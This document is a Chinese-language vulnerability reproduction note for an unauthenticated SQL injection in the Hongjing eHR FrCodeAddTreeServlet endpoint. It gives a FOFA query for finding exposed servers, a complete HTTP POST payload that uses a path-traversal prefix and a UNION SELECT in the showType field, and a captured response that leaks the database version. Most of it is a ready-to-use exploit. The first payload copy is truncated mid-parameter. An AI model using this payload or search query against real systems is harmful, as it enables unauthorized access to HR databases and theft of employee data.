H1-8宏景-人力资源管理-SQL

漏洞描述：

宏景eHR FrCodeAddTreeServlet 接口处存在SQL注入漏洞，未经过身份认证的远程攻击者可利用此漏洞执行任意SQL指令，从而窃取数据库敏感信息。

网站图片：

网络测绘：

fofa语法：

FOFA：app="HJSOFT-HCM"

漏洞复现：

payload：

```
POST /templates/attestation/../../servlet/FrCodeAddTreeServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded

params=&issuperuser=&parentid=&privType=&manageprive=&action=&target=&showType=1%27+UNION+ALL+SELECT+%40%40version%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--+&treetype=&orgtyp
```

效果图:
查询数据库版本

Request

数据包扫描 热加载 构造请求

```
POST /templates/attestation/../../servlet/FrCodeAddTreeServlet HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded

params=&issuperuser=&parentid=&privType=&manageprive=&action=&target=&showType=1%27+UNION+ALL+SELECT+%40%40version%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--+&treetype=&orgtype=
```

Responses 1064bytes / 52ms

```
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
x-frame-options: SAMEORIGIN
Set-Cookie: JSESSIONID=4D97F935A72F03DCEBC
Content-Type: text/xml;charset=utf-8
Date: Sat, 27 Jan 2024 14:57:06 GMT
Content-Length: 1064

<?xml version="1.0" encoding="GB2312"?>
<TreeNode>
<TreeNode id="Microsoft SQL Server 2008 R2
    Apr  2 2010 15:53:02
    Copyright (c) Microsoft Corporation
    Enterprise Edition on Windows NT 6.2 <
  text=  href= &amp;
itemCode=1yz6f9L7tuY47miZhUOsJQ7whypCdXPAA
fSewwa6XjUPAATTP2HJBPAATTPpC2uxN1KmZzV3f9V
dGF2dmX5oPAATTP2HJFPAATTP1EARK0b1VX3vKcyyD
TTPO3P7FVujps1Oyx0cdzsPAATTP2HJBPAATTP7PAA
r0PAATTP2HJBPAATTPBUZ1HH51YxsZBdiCvTAzwlcv
1w4mRXsbowvgPAATTP3HJDPAATTPPAATTP3HJDPAAT
encryptParam=yPAFx0I8gjeNv40jQqpsQfJJhe7fn
eXzF1JB1JROOkOWvata5pgWz51getdydWFPAATTP2H
ATTPtJw70pDxFqQPAATTP3HJDPAATTPPAATTP3HJDP
xml="null"/>
```